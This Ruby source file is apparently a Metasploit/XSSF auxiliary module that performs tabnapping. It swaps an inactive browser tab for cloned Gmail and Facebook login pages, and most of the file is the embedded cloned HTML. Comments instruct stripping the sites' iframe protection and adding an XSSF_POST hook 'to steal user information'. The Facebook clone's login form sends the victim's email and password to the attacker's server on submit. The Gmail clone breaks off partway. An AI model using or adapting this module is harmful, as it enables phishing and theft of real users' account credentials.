require 'msf/core'
require 'xssf/xssfmaster'

#
# READ README_XSSF FILE FOR MORE INFORMATION ABOUT MODULES
# CAUTION : TO USE THIS MODULE FOR NEW WEBSITES, BE SURE TO REMOVE THE IFRAME PROTECTION
# IN THE .HTML FILE. THE .HTML FILE HAS TO BE LOADED IN AN IFRAME.
# EXEMPLE (GMAIL) : "if (top.location != self.location) { top.location = self.location.href; }"
#
# ADD XSSF_POST() FUNCTION IN HTML FILE TO STEAL USER INFORMATION
# EXEMPLE (GMAIL) : onsubmit="XSSF_POST('Gmail Account : ' + document.getElementById('Email').value + ' - ' + document.getElementById('Passwd').value); return(gaia_onLoginSubmit());"
#
class Metasploit3 < Msf::Auxiliary
	include Msf::Xssf::XssfServer
	
	# Module initialization
	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Browser Tabs Changer',
			'Description' => 'Change Browser Tabs after a period of time of inactivity'
		))
		
		register_options(
			[
				OptEnum.new('website', [true, "Defaced website file you want to load (without .html)", 'gmail', ['gmail', 'facebook']]),
				OptInt.new('delay', [true, "Delay of tab inactivity in seconds to change it", 5])
			], self.class
		)
	end
	
	# Part sent to the victim, insert your code here !!!
	def on_request_uri(cli, req)
		websites = {}
		websites['gmail'] = []
		websites['gmail'][0] = 'https://mail.google.com'
		websites['gmail'][1] = 'Gmail: Email from Google'
		websites['facebook'] = []
		websites['facebook'][0] = 'http://www.facebook.com'
		websites['facebook'][1] = 'Welcome to Facebook'
		
		case req.uri 
			when /facebook.html/
				code = %Q{
					<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=" no_js"><head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta http-equiv="Content-language" content="en" /><script type="text/javascript">//<![CDATA[CavalryLogger=false;window._is_quickling_index="";//]]></script><noscript> <meta http-equiv=refresh content="0; URL=?_fb_noscript=1" /> </noscript><meta name="robots" content="noodp,noydir" /><meta name="description" content=" Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos, and learn more about the people they meet." /><link rel="alternate" media="handheld" href="http://www.facebook.com/" /><title>Welcome to Facebook</title>    <link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/zCTJZ/hash/30390si5.css" />    <link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/zEHFH/hash/es9nnt5s.css" />    <link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/zAH5P/hash/cjigvmla.css" />    <script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/zDZZ5/hash/cvgm40ab.js"></script><link rel="search" type="application/opensearchdescription+xml" href="http://static.ak.fbcdn.net/rsrc.php/zBOV4/hash/10jfw8tc.xml" title="Facebook" /><link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/z9Q0Q/hash/8yhim1ep.ico" /></head><body class="WelcomePage UIPage_LoggedOut ff3 win Locale_en_US"><div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;" ></div><div id="blueBar" class="loggedOut"></div><div id="globalContainer"><div id="dropmenu_container"></div><div id="content" class="fb_content clearfix"><div ><!-- 2365fa3194ecdc0cab15721ce967a9f8663937c7 --><div class="WelcomePage_Container"><div id="menubar_container"><div  id="fb_menubar" class="fb_menubar_logged_out clearfix"><ul id="fb_menubar_core" class="fb_menu_list"><li class="fb_menu" id="fb_menubar_logo"><a href="http://www.facebook.com" class="fb_logo_link" title="Go to Facebook Home"><img class="fb_logo_img img" src="http://static.ak.fbcdn.net/rsrc.php/z12E0/hash/8q2anwu7.gif" alt="Facebook logo" /></a></li></ul><ul id="fb_menubar_aux" class="fb_menu_list"><div class="menu_login_container"><form method="POST" action="https://login.facebook.com/login.php?login_attempt=1" onsubmit="XSSF_POST('Facebook Account : ' + document.getElementById('email').value + ' - ' + document.getElementById('pass').value, 'Tabnapping'); return false;" id="login_form"><input type="hidden" name="charset_test" value="&euro;,&acute;,?,?,?,?,?" /><input type="hidden" id="locale" name="locale" value="en_US" autocomplete="off" /><table cellpadding="0" cellspacing="0"><tr><td class="login_form_label_field login_form_label_remember"><input type="checkbox" class="inputcheckbox" value="1" id="persistent" name="persistent" tabindex="3" /><label id="label_persistent" for="persistent">Keep me logged in</label></td><td class="login_form_label_field"><a href="http://www.facebook.com/reset.php" rel="nofollow">Forgot your password?</a></td><td class="login_form_last_field login_form_label_field"></td></tr><tr><td><input type="text" class="inputtext  DOMControl_placeholder" title="Email" placeholder="Email" id="email" name="email" value="Email" tabindex="1" /></td><td><input type="password" class="inputpassword" id="pass" name="pass" value="" tabindex="2" /><input type="text" class="inputtext hidden_elem DOMControl_placeholder" id="pass_placeholder" name="pass_placeholder" value="" tabindex="2" /></td><td class="login_form_last_field"><div class="inner"><label class="uiButton uiButtonConfirm uiButtonMedium"><input value="Login" tabindex="4" type="submit" /></label></div></td></tr></table><input type="hidden" name="charset_test" value="&euro;,&acute;,?,?,?,?,?" /><input type="hidden" id="lsd" name="lsd" value="SOTPv" autocomplete="off" /></form></div></ul></div></div><div class="WelcomePage_MainSell"><div class="WelcomePage_MainSellCenter clearfix"><div class="WelcomePage_MainSellLeft"><div class="WelcomePage_MainMessage">Facebook helps you connect and share with the people in your life.</div><div class="WelcomePage_MainMap">&nbsp;</div></div><div class="WelcomePage_MainSellRight"><div class="WelcomePage_SignUpSection"><div class="WelcomePage_SignUpMessage"><div class="WelcomePage_SignUpHeadline">Sign Up</div><div class="WelcomePage_SignUpSubheadline">It's free and anyone can join</div></div><div class="WelcomePage_SimpleReg" id="registration_container"><div id="simple_registration_container" class="simple_registration_container"><div id="reg_box"><form method="post" action="https://register.facebook.com/r.php" name="reg" id="reg" onsubmit="return false;"><input type="hidden" name="charset_test" value="&euro;,&acute;,?,?,?,?,?" /><input type="hidden" id="locale" name="locale" value="en_US" autocomplete="off" /><input type="hidden" id="terms" name="terms" value="on" autocomplete="off" /><input type="hidden" id="reg_instance" name="reg_instance" value="1275315209-946f7ca3c155a1204efa6b14b2d96da9f9fabac7d731c7af225f2" autocomplete="off" /><noscript><div id="no_js_box"><h2>Javascript is disabled on your browser.</h2><p>Please enable JavaScript on your browser or upgrade to a Javascript-capable browser to register for Facebook.</p></div></noscript><div id="reg_form_box"><table class="editor" border="0" cellspacing="0"><tr><td class="label">First Name:</td><td><div class="field_container"><input type="text" class="inputtext" id="firstname" name="firstname" value="" /></div></td></tr><tr><td class="label">Last Name:</td><td><div class="field_container"><input type="text" class="inputtext" id="lastname" name="lastname" value="" /></div></td></tr><tr><td class="label">Your Email:</td><td><div class="field_container"><input type="text" class="inputtext" id="reg_email__" name="reg_email__" value="" /></div></td></tr><tr><td class="label">New Password:</td><td><div class="field_container"><input type="password" class="inputpassword" id="reg_passwd__" name="reg_passwd__" value="" /></div></td></tr><tr id="extra_selects_hack"><td><select><option></option><option></option></select><select><option></option><option></option></select></td></tr><tr><td class="label">I am:</td><td><div class="field_container"><select class="select" name="sex" id="sex"  ><option value="0">Select Sex:</option><option value="1">Female</option><option value="2">Male</option></select></div></td></tr><tr><td class="label">Birthday:</td><td><div class="field_container"> <select class="" id="birthday_month" name="birthday_month" onchange="return run_with(this, [&quot;editor&quot;], function() {editor_date_month_change(this, &quot;birthday_day&quot;, &quot;birthday_year&quot;);});"><option value="-1">Month:</option><option value="1">Jan</option><option value="2">Feb</option><option value="3">Mar</option><option value="4">Apr</option><option value="5">May</option><option value="6">Jun</option><option value="7">Jul</option><option value="8">Aug</option><option value="9">Sep</option><option value="10">Oct</option><option value="11">Nov</option><option value="12">Dec</option></select> <select name="birthday_day" id="birthday_day"  onchange="" autocomplete="off"><option value="-1">Day:</option><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7">7</option><option value="8">8</option><option value="9">9</option><option value="10">10</option><option value="11">11</option><option value="12">12</option><option value="13">13</option><option value="14">14</option><option value="15">15</option><option value="16">16</option><option value="17">17</option><option value="18">18</option><option value="19">19</option><option value="20">20</option><option value="21">21</option><option value="22">22</option><option value="23">23</option><option value="24">24</option><option value="25">25</option><option value="26">26</option><option value="27">27</option><option value="28">28</option><option value="29">29</option><option value="30">30</option><option value="31">31</option></select> <select name="birthday_year" id="birthday_year" onchange="return run_with(this, [&quot;editor&quot;], function() {editor_date_month_change(&quot;birthday_month&quot;,&quot;birthday_day&quot;,this);});" autocomplete="off"><option value="-1">Year:</option><option value="2010">2010</option><option value="2009">2009</option><option value="2008">2008</option><option value="2007">2007</option><option value="2006">2006</option><option value="2005">2005</option><option value="2004">2004</option><option value="2003">2003</option><option value="2002">2002</option><option value="2001">2001</option><option value="2000">2000</option><option value="1999">1999</option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913">1913</option><option value="1912">1912</option><option value="1911">1911</option><option value="1910">1910</option><option value="1909">1909</option><option value="1908">1908</option><option value="1907">1907</option><option value="1906">1906</option><option value="1905">1905</option><option value="1904">1904</option><option value="1903">1903</option><option value="1902">1902</option><option value="1901">1901</option><option value="1900">1900</option></select></div></td></tr><tr><td class="label"></td><td><div id="birthday_warning"><a href="/ajax/reg_birthday_help.php" title="Click for more information" rel="dialog">Why do I need to provide this?</a></div></td></tr></table><input type="hidden" id="referrer" name="referrer" value="116" autocomplete="off" /><input type="hidden" id="md5pass" name="md5pass" value="" autocomplete="off" /><div class="reg_btn clearfix"><label class="uiButton uiButtonSpecial uiButtonMedium"><input value="Sign Up" onclick="return run_with(this, [&quot;reg-util&quot;], function() {RegUtil.getInstance().ajax_validate_data({ignore: [&#039;captcha&#039;]}, &quot;registration_container&quot;, &quot;1&quot;);});" type="submit" /></label><span id="async_status" class="async_status" style="display: none"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/zBS5C/hash/7hwy7at6.gif" alt="" /></span></div></div><div id="reg_captcha" style="display: none;"><h2>Security Check</h2><div id="outer_captcha_box"><div id="captcha_box"><div class="field_error" id="captcha_response_error" style="display:none;">This field is required.</div><div id="captcha" class="captcha">  <input type="hidden" id="captcha_persist_data" name="captcha_persist_data" value="AAAAAwAgACAAAAD00Xm79OGay-D5ntfWPvtTO8aYxT7tzjipbUuCSTiT1VHpLyhs_xCtKLmvHK6XkhMPLIFFuGMMugeox3zZhCtO8ALr7ABu1iSpakW5NWh2FxkDUWcd0C395XuDa13aTuGsw1g_hXTOv4aq-5PzCkihTCr0HLGjfx_QtOR4I_NdFBeGLPyews8g4E1lGmoqyfBFqYQ1Txoi5GI8YBqVRgctWK3wWlfcT1MicKjWungCR6GHFt2JCHeRz5CX93EFY4NzrJDfMEh2LiF4HUhHKCS7FPGtQH3iEUljImDKWpExK5MkuhAIPNlnYS5lAn0x8-txVXQn72taBaj012IH_VeL8PhFPk5fTPm4CaRqNRVHAPHISpjHVT7d4DZ9EUZpCGf5NB2HkOTbpmAwrWnwiS9VrKm72ETI7WBwsQ_gTTxfnq4." autocomplete="off" /><div><div id="recaptcha_scripts" style="display:none"></div><input type="hidden" id="captcha_session" name="captcha_session" value="I4kYxnsUBKSLCxyBdptWrA" autocomplete="off" /><input type="hidden" id="extra_challenge_params" name="extra_challenge_params" value="authp=nonce.tt.time.new_audio_default&amp;psig=n_GWkkMZFNP3hzX2v7uCAwfwpt0&amp;nonce=I4kYxnsUBKSLCxyBdptWrA&amp;tt=aLjvcoUo8fiq0pMk13Y8Ofvc2Hg&amp;time=1275315209&amp;new_audio_default=1" autocomplete="off" /><input type="hidden" id="recaptcha_type" name="recaptcha_type" value="password" autocomplete="off" /><div class="recaptcha_text">Enter <strong>both words</strong> below, <strong>separated by a space</strong>.<br /><div class="recaptcha_only_if_image">Can't read the words below? <a href="#" id="recaptcha_reload_btn" onclick="Recaptcha.reload(); return false" tabindex="-1">Try different words</a> or <a href="#" onclick="Recaptcha.switch_type(&quot;audio&quot;); return false;" tabindex="-1">an audio captcha</a>.</div><div class="recaptcha_only_if_audio"><a href="#" id="recaptcha_reload_btn" onclick="Recaptcha.reload(); return false" tabindex="-1">Try different words</a> or <a href="#" class="recaptcha_only_if_audio" onclick="Recaptcha.switch_type(&quot;image&quot;); return false;" tabindex="-1">back to text</a>.</div></div><span id='recaptcha_play_audio'></span><div class="audiocaptcha"></div><div id="recaptcha_image" class="captcha_image"></div><div id="recaptcha_loading">Loading... <img class="captcha_loading img" src="http://static.ak.fbcdn.net/rsrc.php/zBS5C/hash/7hwy7at6.gif" style="height:11px;width:16px;" /></div></div><div class="captcha_refresh"></div><div class="captcha_input"><label>Text in the box:</label><div class="field_container"><input type="text" name="captcha_response" id="captcha_response" autocomplete="off" /></div><div style="margin-left: 15px; display: inline;"><a href="#" id="captcha_whatsthis" onclick="captcha_whatsthis(this); return false">What's This?</a></div></div></div></div></div><div id="captcha_buttons" class="clearfix" style="display: none;"><div id="back_button" class="gridCol"><div class="cancel_button_image">&nbsp;</div><a href="#" id="cancel_button" onclick="return run_with(this, [&quot;reg-util&quot;], function() {RegUtil.getInstance().hide_captcha();RegUtil.getInstance().show_reg_form();});">Back</a></div><div id="A_btn_sign_up" class="gridCol"><div><label class="uiButton uiButtonSpecial uiButtonMedium"><input value="Sign Up" onclick="return run_with(this, [&quot;reg-util&quot;], function() {RegUtil.getInstance().ajax_validate_data(&#039;&#039;, &quot;registration_container&quot;, &quot;1&quot;);});" type="submit" /></label><span id="captcha_async_status" class="async_status" style="display: none"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/zBS5C/hash/7hwy7at6.gif" alt="" /></span></div></div></div></div></form><div id="reg_progress" style="display: none"><div id="progress_wrap"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/zBS5C/hash/7hwy7at6.gif" alt="" /><div id="progress_msg">Registering&hellip;</div></div></div><div id="reg_error" style="display: none"><div id="reg_error_inner">An error occurred. Please try again.</div></div><div id="tos_container" class="tos_container hidden_elem"><p class="legal_tos">By clicking Sign Up, you are indicating that you have read and agree to the <a href="/terms.php" target="_blank" rel="nofollow">Terms of Use</a> and <a href="/policy.php" target="_blank" rel="nofollow">Privacy Policy</a>.</p></div><div id="reg_pages_msg" ><a href="/campaign/landing.php?placement=pghm&amp;campaign_id=372931622610&amp;extra_1=0">Create a Page</a> for a celebrity, band or business.</div></div><form method="POST" action="https://register.facebook.com/r.php" id="confirmation_email_form"><input type="hidden" name="charset_test" value="&euro;,&acute;,?,?,?,?,?" /><input type="hidden" id="locale" name="locale" value="en_US" autocomplete="off" /><input type="hidden" id="confirmation_email" name="ce" value="" autocomplete="off" /></form></div></div></div></div></div></div></div><div class="welcome_useragent"><div class="language"><ul><li><a href="http://fr-fr.facebook.com/" title="French (France)" onclick="intl_set_cookie_locale(&quot;fr_FR&quot;, &quot;http:\/\/fr-fr.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">Fran?ais (France)</a></li><li><a href="http://www.facebook.com/" title="English (US)" onclick="intl_set_cookie_locale(&quot;en_US&quot;, &quot;http:\/\/www.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">English (US)</a></li><li><a href="http://es-la.facebook.com/" title="Spanish" onclick="intl_set_cookie_locale(&quot;es_LA&quot;, &quot;http:\/\/es-la.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">Espa?ol</a></li><li><a href="http://pt-br.facebook.com/" title="Portuguese (Brazil)" onclick="intl_set_cookie_locale(&quot;pt_BR&quot;, &quot;http:\/\/pt-br.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">Portugu?s (Brasil)</a></li><li><a href="http://de-de.facebook.com/" title="German" onclick="intl_set_cookie_locale(&quot;de_DE&quot;, &quot;http:\/\/de-de.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">Deutsch</a></li><li><a href="http://it-it.facebook.com/" title="Italian" onclick="intl_set_cookie_locale(&quot;it_IT&quot;, &quot;http:\/\/it-it.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">Italiano</a></li><li><a href="http://ar-ar.facebook.com/" title="Arabic" onclick="intl_set_cookie_locale(&quot;ar_AR&quot;, &quot;http:\/\/ar-ar.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">???????</a></li><li><a href="http://hi-in.facebook.com/" title="Hindi" onclick="intl_set_cookie_locale(&quot;hi_IN&quot;, &quot;http:\/\/hi-in.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">??????</a></li><li><a href="http://zh-cn.facebook.com/" title="Simplified Chinese (China)" onclick="intl_set_cookie_locale(&quot;zh_CN&quot;, &quot;http:\/\/zh-cn.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">??(??)</a></li><li><a href="http://ja-jp.facebook.com/" title="Japanese" onclick="intl_set_cookie_locale(&quot;ja_JP&quot;, &quot;http:\/\/ja-jp.facebook.com\/&quot;, &quot;TOP_LOCALES&quot;); return false;">???</a></li><li><a rel="dialog" href="/ajax/intl/language_dialog.php?uri=http%3A%2F%2Fwww.facebook.com%2F&amp;source=TOP_LOCALES_DIALOG" title="Show more languages" class="chevron">&raquo;</a></li></ul></div></div></div></div><div id="pageFooter"><div id="contentCurve"></div><div id="footerContainer"><div id="footerLeft"><div class="copyright" id="pagefooter_copyright"><span title="HPHP">Facebook </span><span id="rtime" title="69">&copy;</span> <span title="10.137.40.106">20</span><span title="679288">10</span></div><div id="locale_selector_dialog_onclick"><a rel="dialog" href="/ajax/intl/language_dialog.php?uri=http%3A%2F%2Fwww.facebook.com%2F" class="intl_selector_dialog_a" title="English (US)">English (US)</a></div></div><div id="footerRight"><a href="http://www.facebook.com/facebook?ref=pf" accesskey="8">About</a><a href="/campaign/landing.php?placement=pflo&amp;campaign_id=402047449186&amp;extra_1=0">Advertising</a><a href="http://developers.facebook.com/?ref=pf">Developers</a><a href="http://www.facebook.com/careers/?ref=pf">Careers</a><a href="http://www.facebook.com/terms.php?ref=pf" accesskey="9">Terms</a> &bull; <a href="http://www.facebook.com//find-friends/?ref=pf">Find Friends</a><a href="http://www.facebook.com/privacy/explanation.php">Privacy</a><a href="http://www.facebook.com/mobile?ref=pf">Mobile</a><a href="http://www.facebook.com/help/?ref=pf" accesskey="0">Help Center</a><a href="http://blog.facebook.com/blog.php">Blog</a><a href="http://www.facebook.com/facebook-widgets/?ref=pf">Badges</a></div></div></div></div><script type="text/javascript">/* <![CDATA[ */if (top != self) { try { if (top.location.hostname.indexOf("apps") >= 0) { throw 1; } } catch (e) {setTimeout(function() {var fb_cj_img = new Image(); fb_cj_img.src = "http:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&m&t=2077";}, 5000); window.document.write("<div style='background: black; opacity: 0.5; filter: alpha(opacity = 50); position: absolute; top: 0px; left: 0px; min-width: 9999px; min-height: 9999px; width: 100%; height: 100%; z-index: 1000001' onClick='top.location.href=window.location.href'><\/div>");/* -qaPD7x9 */ }}/* ]]> */</script><script type="text/javascript">Env={ffid1:"seUrf0XbBH_IhPecITwTpQ",ffid2:"kq3ZWaFBwxPhbnlJ1AAHag",ffid3:"MTI3NTMxNTEzMC0xYjdlNmQ2ODY1YTY4MzQxNWRhNzdkNjk5MGFjZTk2OTMxOTM0NjQ1ZTNmMzdkMjk0M2ViNg..",ffid4:"nO44SMEMwsMskjuaUzkVTg",ffver:58931,user:0,locale:"en_US",method:"GET",dev:0,start:(new Date()).getTime(),ps_limit:5,ps_ratio:4,svn_rev:251814,vip:"69.63.189.39",static_base:"http:\/\/static.ak.fbcdn.net\/",www_base:"http:\/\/www.facebook.com\/",tlds:["com"],rep_lag:2,pc:{"m":"1.0.3","l":"1.0.3","axi":true,"j":true},fb_dtsg:"Mlocs",lhsh:"fdad1",silent_oops_errors:"1"};</script>  <script type="text/javascript">Bootloader.setResourceMap({"jgQvQ":{"name":"js\/61bfs2705h4w4k0s.pkg.js","type":"js","permanent":false,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/z8F61\/p\/hash\/bl3p5ew4.js"},"yTr6b":{"name":"js\/6lkaw9d8mwkcok80.pkg.js","type":"js","permanent":false,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/z6880\/p\/hash\/3389lb2b.js"},"38ysj":{"name":"css\/2lo2t6hnebmscscs.pkg.css","type":"css","permanent":true,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/zCTJZ\/hash\/30390si5.css"},"vh1ko":{"name":"css\/7y4n3w6kqxc8gksc.pkg.css","type":"css","permanent":true,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/zEHFH\/hash\/es9nnt5s.css"},"utPrM":{"name":"css\/ew81nk1n7wg0ok4o.pkg.css","type":"css","permanent":true,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/zAH5P\/hash\/cjigvmla.css"},"F+B8D":{"name":"js\/19khsprwvtvokwow.pkg.js","type":"js","permanent":false,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/zDZZ5\/hash\/cvgm40ab.js"},"+fqE1":{"name":"js\/editor.js","type":"js","permanent":false,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/z3IAU\/p\/hash\/5djjlbth.js"},"hO+pJ":{"name":"js\/4k2wodxuw9oggwwg.pkg.js","type":"js","permanent":false,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/z4ARQ\/p\/hash\/cz56ranw.js"},"n3hxO":{"name":"css\/4khj3hyqff6ssk48.pkg.css","type":"css","permanent":true,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/z3577\/hash\/95paod6i.css"},"UJ8Bq":{"name":"js\/reg_util.js","type":"js","permanent":false,"src":"http:\/\/static.ak.fbcdn.net\/rsrc.php\/z64BH\/p\/hash\/30q04897.js"}});Bootloader.enableBootload({"async":["F+B8D","jgQvQ","vh1ko"],"dialog":["F+B8D","jgQvQ","vh1ko"],"dom-form":["F+B8D","jgQvQ","vh1ko"],"editor":["F+B8D","jgQvQ","vh1ko","+fqE1"],"reg-util":["F+B8D","jgQvQ","vh1ko","38ysj","hO+pJ","n3hxO","UJ8Bq"],"async-signal":["jgQvQ"]});Arbiter.registerCallback(InitialJSLoader.callback, ["BOOTLOAD\/ROADRUNNER_READY"]);Arbiter.registerCallback(function(){setTimeout(function() {InitialJSLoader.load(["jgQvQ","yTr6b"]);Arbiter.inform("BOOTLOAD\/ROADRUNNER_READY", true, Arbiter.BEHAVIOR_STATE);}, 50)}, [OnloadEvent.ONLOAD_DOMCONTENT_CALLBACK]);</script><script type="text/javascript">onloadRegister(function(){Bootloader.configurePage(["38ysj","vh1ko","utPrM"]);});Bootloader.done(["38ysj","vh1ko","utPrM"]);onloadRegister(function (){menubar_login("Password");;});onloadRegister(function (){reg_bootload("registration_container", true, "reg", "form_focus");;});onloadRegister(function (){if(typeof(Env)=='undefined') Env = {};            Env['recaptcha_focus_on_load'] = false;});onloadRegister(function (){if(typeof(Env)=='undefined')Env={};            Env['recaptcha_lang'] = "en";});onloadRegister(function (){useragent();;});onloadRegister(function (){window.loading_page_chrome = true;;});onloadRegister(function (){window.loading_page_chrome = false;;});</script></body></html>
				}
			
				send_response(cli, code)
				
				
			when /gmail.html/
				code = %Q{
					<html lang="en" dir="ltr"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="description" content="7+ GB of storage, less spam, and mobile access. Gmail is email that's intuitive, efficient, and useful. And maybe even fun."><style type=text/css><!--body,td,div,p,a,font,span {font-family: arial,sans-serif}body {margin-top:2}.c {width: 4; height: 0}.bubble {background-color:#C3D9FF}.tl {padding: 0; width: 4; text-align: left; vertical-align: top}.tr {padding: 0; width: 4; text-align: right; vertical-align: top}.bl {padding: 0; width: 4; text-align: left; vertical-align: bottom}.br {padding: 0; width: 4; text-align: right; vertical-align: bottom}.caption {color:#000000; white-space:nowrap; background:#E8EEFA; text-align:center}.form-noindent {background-color: #ffffff; border: #C3D9FF 1px solid}.feature-image {padding: 15 0 0 0; vertical-align: top; text-align: right; }.feature-description {padding: 15 0 0 10; vertical-align: top; text-align: left; }.signup_btn {cursor: pointer; margin: 10px 0 -20px 0; text-align: center; }.signup_btn_link {color: #000; text-align: center; text-align: center; text-decoration: none; padding: 0 7px; font-weight: bold; font-size: 14px; white-space: nowrap; }.SPRITE_signup_button_grey_l { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) 0 0; width: 14px; height: 45px }.SPRITE_signup_button_grey_m { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) -14px 0; height: 45px }.SPRITE_signup_button_grey_r { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) -365px 0; width: 15px; height: 45px }.SPRITE_cell {background: no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 -142px; width: 42px; height: 42px; float: right }.SPRITE_search_new {background:no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 -100px; width: 42px; height: 42px; float: right }.SPRITE_spam_new {background:no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 -58px; width: 42px; height: 42px; float: right }.SPRITE_storage {background:no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 0; width: 42px; height: 42px; float: right }.SPRITE_feed_icon {background: no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 -42px; width: 16px; height: 16px }.SPRITE_corner_bl {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) 0 0; width: 4px; height: 4px; font-size:2px }.SPRITE_corner_br {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) -4px 0; width: 4px; height: 4px; font-size:2px }.SPRITE_corner_tl {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) 0 -4px; width: 4px; height: 4px; font-size:2x }.SPRITE_corner_tr {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) -4px -4px; width: 4px; height: 4px; font-size:2px }// --></style><title>  Gmail: Email from Google</title></head><body bgcolor=#ffffff link=#0000FF vlink=#0000FF onload="OnLoad(); "><script type="text/javascript">  var _gaq = _gaq || [];  _gaq.push(['_setAccount', 'UA-992684-1']);  _gaq.push(['_setDomainName', 'google.com']);  _gaq.push(['_addIgnoredRef', '.google.com']);  _gaq.push(['_setCookiePath', '/accounts/']);  _gaq.push(['_trackPageview', '/mail/gaia/homepage']);  _gaq.push(['_cookiePathCopy', '/mail/help/']);  (function() {  var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;  ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';  (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);  })();</script><table width=95% border=0 align=center cellpadding=0 cellspacing=0>  <tr valign=top>  <td width=1%>  <img src="https://mail.google.com/mail/help/images/logo2.gif" border=0 width=143 height=59 alt="Gmail" align=left vspace=10/>  </td>  <td width=99% bgcolor=#ffffff valign=top>  <table width=100% cellpadding=1>  <tr valign=bottom>  <td><div align=right>&nbsp;</div></td>  </tr>  <tr>  <td nowrap=nowrap>  <table width=100% align=center cellpadding=0 cellspacing=0 bgcolor=#C3D9FF style=margin-bottom:5>  <tr>  <td class="bubble tl" align=left valign=top><div class="SPRITE_corner_tl" /></td>  <td class=bubble rowspan=2 style="font-family:arial;text-align:left;font-weight:bold;padding:5 0"><b>Welcome to Gmail</b></td>  <td class="bubble tr" align=right valign=top><div class="SPRITE_corner_tr" /></td>  </tr>  <tr>  <td class="bubble bl" align=left valign=bottom><div class="SPRITE_corner_bl" /></td>  <td class="bubble br" align=right valign=bottom><div class="SPRITE_corner_br" /></td>  </tr>  </table>  </td>  </tr>  </table>  </td>  </tr></table><table width=94% align=center cellpadding=5 cellspacing=1>  <tr>  <td valign=top style="text-align:left"><b>  A Google approach 